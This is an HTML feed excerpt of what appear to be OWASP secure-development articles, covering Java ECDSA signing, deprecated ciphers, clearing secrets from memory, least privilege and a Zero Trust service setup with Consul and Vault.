            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalStateException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;KeyPair&lt;/span&gt; &lt;span class="n"&gt;keyPair&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generateECKeyPair&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Hello, this is a message to be signed."&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;dataBytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;signData&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dataBytes&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keyPair&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPrivate&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Signature: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getEncoder&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;encodeToString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;

        &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;isVerified&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;verifySignature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dataBytes&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keyPair&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPublic&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Verify signature result: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;isVerified&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;KeyPair&lt;/span&gt; &lt;span class="nf"&gt;generateECKeyPair&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;KeyPairGenerator&lt;/span&gt; &lt;span class="n"&gt;keyPairGenerator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;KeyPairGenerator&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"EC"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;keyPairGenerator&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initialize&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ECGenParameterSpec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"secp256r1"&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;keyPairGenerator&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;generateKeyPair&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;signData&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;PrivateKey&lt;/span&gt; &lt;span class="n"&gt;privateKey&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Signature&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Signature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA256withECDSA"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initSign&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;privateKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;update&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sign&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;verifySignature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;PublicKey&lt;/span&gt; &lt;span class="n"&gt;publicKey&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Signature&lt;/span&gt; &lt;span class="n"&gt;signatureInstance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Signature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA256withECDSA"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;signatureInstance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initVerify&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;publicKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;signatureInstance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;update&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;signatureInstance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Avoid deprecated and insecure encryption algorithhms
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;DES&lt;/strong&gt; - Uses a 56-bit key. This means that for bruteforcing it, you only need to try 2^56 combinations, which in today's reality, would take hours (or even a few minutes).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Triple DES&lt;/strong&gt; is an attempt to fix the &lt;strong&gt;DES&lt;/strong&gt; short key, where the key size is 158 bits. But because of &lt;strong&gt;meet-in-the-middle&lt;/strong&gt; attacks, the effective key length is only 112 bits. Resulting key sizes are still smaller than current standards (minimum 128 bits, preferably 256 bits), and with more to add, because of its triple encryption, it's just plain slow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RC4&lt;/strong&gt; - This algorithm was used for streaming data encryption. Because of the predictable properties of the first bytes, it allowed you to anticipate part of the key stream.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RSA&lt;/strong&gt; - Asymmetric encryption algorithm. With modern factorization techniques and computing power, keys smaller than &lt;strong&gt;2048 bits&lt;/strong&gt; can be cracked (larger keys are only a matter of time). And if a PKCS#1 encryption scheme is used, regardless of key length, there is a high risk for &lt;strong&gt;Padding Oracle&lt;/strong&gt; attacks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Store sensitive data in memory securely
&lt;/h3&gt;

&lt;p&gt;In the examples where we worked with sensitive information (like passwords), we needed to ensure that we used them correctly in memory.&lt;/p&gt;

&lt;p&gt;Let's agree in advance, if you work with passwords, treat them not as &lt;code&gt;String&lt;/code&gt; strings, but as a &lt;code&gt;char[]&lt;/code&gt; or  &lt;code&gt;byte[]&lt;/code&gt; arrays. This is primarily to &lt;strong&gt;clear&lt;/strong&gt; our array when we no longer need it, thus protecting us from &lt;strong&gt;Data in Use&lt;/strong&gt; attacks. It is implemented in a simple manner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;destroy&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;chars&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Arrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chars&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;destroy&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Arrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is also one important thing to consider. All this data is stored in RAM (&lt;strong&gt;RAM&lt;/strong&gt;), right? When memory is not enough, data that is rarely used can &lt;strong&gt;swap&lt;/strong&gt;'d to disk. Here it is important, in case sensitive data is stored in memory for a long time (let's say we cached it), it should &lt;strong&gt;never be swapped to disk&lt;/strong&gt;. This can lead to a big internal threat if an attacker gets into the server, because disk is much easier to analyze than memory, and even if the data has already been deleted from it, if that memory segment has not been overwritten, it can be recovered.&lt;/p&gt;

&lt;p&gt;On UNIX systems, it is realized through memory allocation and &lt;code&gt;mlock&lt;/code&gt; settings on them, and from Java, to allocate non-swappable memory, followed by its obfuscation can &lt;a href="https://github.com/OWASP/www-project-netryx" rel="noopener noreferrer"&gt;OWASP Netryx Memory&lt;/a&gt; be used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"sensitive data"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="nc"&gt;SecureMemory&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;SecureMemory&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// After we wrote data, we can freely clear it&lt;/span&gt;
&lt;span class="nc"&gt;Arrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;obfuscate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Note, `bytes` would be auto destroyed after it leaves lambda.&lt;/span&gt;
&lt;span class="c1"&gt;// You can create a copy of bytes, if needed.&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;originalSensitive&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;deobfuscate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;Bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;wrap&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;toCharArray&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// clears memory when we don't need it anymore&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This method is particularly useful for systems with &lt;strong&gt;high security requirements&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Following the principles of secure programming is the basis for building a secure application. Security must be integrated at all levels of development, from architecture design to the actual writing of code. No matter how secure the environment on which the application runs, if the application itself is vulnerable, it creates a big threat for the entire system. Conversely, even if the code is secure, a weak architecture or poor infrastructure management can lead to critical vulnerabilities. That's why we discussed creating a strong and secure architecture in &lt;a href="https://dev.tohttps://"&gt;Secure &amp;amp; Resilient Design&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Input validation is a key aspect of security. At first glance, this practice may seem simple, but ignoring it can lead to devastating consequences such as injection attacks, XSS and other types of threats. Proper data validation is not only a defense against obvious vulnerabilities, but it is also the first line of defense that helps protect your system from potentially unknown attacks based on malicious user inputs.&lt;/p&gt;

&lt;p&gt;Broken Access Control is a top 1 vulnerability, so it's critical to understand access control methods and implement them correctly in your system. And by following the principle of “Secure out of the box” you protect yourself from a potentially fatal error. Moreover, it is not enough just to authenticate &amp;amp; authorize the user, you must also secure the target user as much as possible.&lt;/p&gt;

&lt;p&gt;Error states are inevitable in any software, but it is important that they are handled in a way that does not expose potentially damaging information to malicious users, this is a violation of the first principle of the CIA - Confidentiality. Again, gathering information about the target is the very first step in an penetration attempt.&lt;/p&gt;

&lt;p&gt;Finally, when dealing with sensitive data, we need to make sure that we only use trusted and up-to-date cryptographic methods to protect it, and that our secrets are handled as securely as possible. That's it!&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1d4rdrddqlphm812szxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1d4rdrddqlphm812szxg.png" width="800" height="167"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>programming</category>
      <category>java</category>
    </item>
    <item>
      <title>Secure and Resilient Design</title>
      <dc:creator>Martin Belov</dc:creator>
      <pubDate>Fri, 19 Jul 2024 19:35:56 +0000</pubDate>
      <link>https://forem.com/owasp/secure-and-resilient-design-2f1k</link>
      <guid>https://forem.com/owasp/secure-and-resilient-design-2f1k</guid>
      <description>&lt;p&gt;&lt;strong&gt;By Martin Belov &amp;amp; Starr Brown&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In the previous article we learned how to develop security requirements using techniques such as Security &amp;amp; Abuser stories, model threats with STRIDE, model risks with DREAD, and structured the FAIR model using these techniques.&lt;/p&gt;

&lt;p&gt;Now in the design phase, our goal is to define the &lt;strong&gt;security principles&lt;/strong&gt; that will be used in our system, based on the security requirements we've gathered.&lt;/p&gt;

&lt;p&gt;In this article, we will look at important design principles and how to ensure the overall &lt;strong&gt;resilience&lt;/strong&gt; of the security system and architecture.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Secure Design Principles
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Principle of least privilege
&lt;/h3&gt;

&lt;p&gt;Let's imagine the office of a small company. We have an accountant, a marketer, an IT specialist and an HR manager.&lt;br&gt;
Everyone is doing their own thing, communicating with each other and interacting with the system through their individual accounts.&lt;/p&gt;

&lt;p&gt;The company did not conduct &lt;strong&gt;cyber hygiene&lt;/strong&gt; or &lt;strong&gt;cyber awaareness&lt;/strong&gt; training for its employees and unwittingly, the HR manager opened a &lt;strong&gt;phising&lt;/strong&gt; email message containing an infected CV/resume. The virus stole the login and password of the HR manager's individual account, and an attacker could now connect to the company's system impersonating this team member.&lt;/p&gt;

&lt;p&gt;The company also did not properly utilize &lt;strong&gt;Role Based Access Control (RBAC)&lt;/strong&gt; and this allowed for additional access beyondthe HR manager's area of responsibility, and the attacker further captured &lt;strong&gt;all department's&lt;/strong&gt; information, which significantly increased the impact.&lt;/p&gt;

&lt;p&gt;Obviously, the impact would have been much less if initially each role on the team only had access to the information and actions they really needed.&lt;/p&gt;

&lt;p&gt;The same goes for the services that work in our system. They should only have specific rights that reflect only what they really need, or &lt;strong&gt;least priviledge&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Let's look at the following simplified architecture as an example:&lt;/p&gt;

&lt;p&gt;We'll imagine our application has 5 services:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Auth Service&lt;/strong&gt; - Manages user logins&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;User Service&lt;/strong&gt; - Manages user profiles&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payment Service&lt;/strong&gt; - Responsible for payment processing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Notification Service&lt;/strong&gt; - Sends notifications to users&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Analytics Service&lt;/strong&gt; - Analyses data for reporting purposes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;According to the principle of least privilege, in the aspect of data access, it should be restricted as follows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Auth Service&lt;/strong&gt; has access to user accounts only&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;User Service&lt;/strong&gt; can only operate on user profiles&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payment Service&lt;/strong&gt; can only access payment data&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Notification Service&lt;/strong&gt; only has access to contact details for sending notifications&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Analytics Service&lt;/strong&gt; only has access to anonymised user data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this case, even if a vulnerability is discovered in one of the services, an attacker will only be able to get access to the data related to that service as it is contained within because we limited access control to the service. This is how the principle &lt;strong&gt;least privilege&lt;/strong&gt; should be observed at &lt;strong&gt;every&lt;/strong&gt; layer of the system, from user rights of the server itself to entities inside our services.&lt;/p&gt;

&lt;h3&gt;
  
  
  Zero Trust Principle
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;Zero Trust&lt;/strong&gt; principle fits very well with the previous one. The basic idea is that our system should not trust users or services by default, even if they are within the corporate network.&lt;/p&gt;

&lt;p&gt;To make it easier to understand, let's go back to our office example. If a vendor or a delivery person is visiting the office, they are not necessarily a member of the team that works there, right? If they walk up to an accountant and ask for certain statements, the accountant has to first find out &lt;strong&gt;who&lt;/strong&gt; they are, and whether they have the &lt;strong&gt;right&lt;/strong&gt; to receive those statements.&lt;/p&gt;

&lt;p&gt;This is exactly the same with our system. If, within the network, the first service &lt;strong&gt;A&lt;/strong&gt; contacts the second service &lt;strong&gt;B&lt;/strong&gt;, then our service &lt;strong&gt;B&lt;/strong&gt; must first &lt;strong&gt;authenticate&lt;/strong&gt; the request to identify the sender, and then &lt;strong&gt;authorise&lt;/strong&gt; access by checking whether the service has sufficient rights to do so.&lt;/p&gt;

&lt;p&gt;To better understand how to build &lt;strong&gt;Zero Trust&lt;/strong&gt; architecture for services, let's take a real-world example. To do this, let's use tools from &lt;a href="https://www.hashicorp.com/" rel="noopener noreferrer"&gt;HashiCorp&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.consul.io/" rel="noopener noreferrer"&gt;Consul&lt;/a&gt; - To set up secure network communication via mTLS, service location and certificate issuance&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.vaultproject.io/" rel="noopener noreferrer"&gt;Vault&lt;/a&gt; - For service authentication and key management.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Inside &lt;strong&gt;Consul&lt;/strong&gt; create roles (e.g. service-a, service-b) and configure the root certificate. It will be used to issue TLS certificates to our services by their ACL token. In &lt;strong&gt;Vault&lt;/strong&gt; set the same roles for our services and specify policies for them. Policies can be any value, for example you can specify service rights.&lt;/p&gt;

&lt;p&gt;Finally, import the Consul root certificate into Vault and set &lt;strong&gt;TLS Auth Method&lt;/strong&gt; as the authentication method. Now our service authentication and authorisation process will look like this:&lt;/p&gt;

&lt;p&gt;Let's imagine service &lt;strong&gt;A&lt;/strong&gt; wants to contact service &lt;strong&gt;B&lt;/strong&gt; to request user information. For service &lt;strong&gt;A&lt;/strong&gt; in Vault, we have added the &lt;code&gt;com.myapp.users.access&lt;/code&gt; policy.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;On initialisation, service A retrieves its certificate from &lt;strong&gt;Consul&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Using its certificate, it authenticates to &lt;strong&gt;Vault&lt;/strong&gt; and gets its temporary &lt;strong&gt;access token&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Service &lt;strong&gt;A&lt;/strong&gt; specifies this token in the headers and sends a request to service &lt;strong&gt;B&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Service &lt;strong&gt;B&lt;/strong&gt; checks the token through &lt;strong&gt;Vault&lt;/strong&gt;. It looks to see if the service has a &lt;code&gt;com.myapp.users.access&lt;/code&gt; policy and relative to that it skips or blocks the request.&lt;/li&gt;
&lt;/ol&gt;

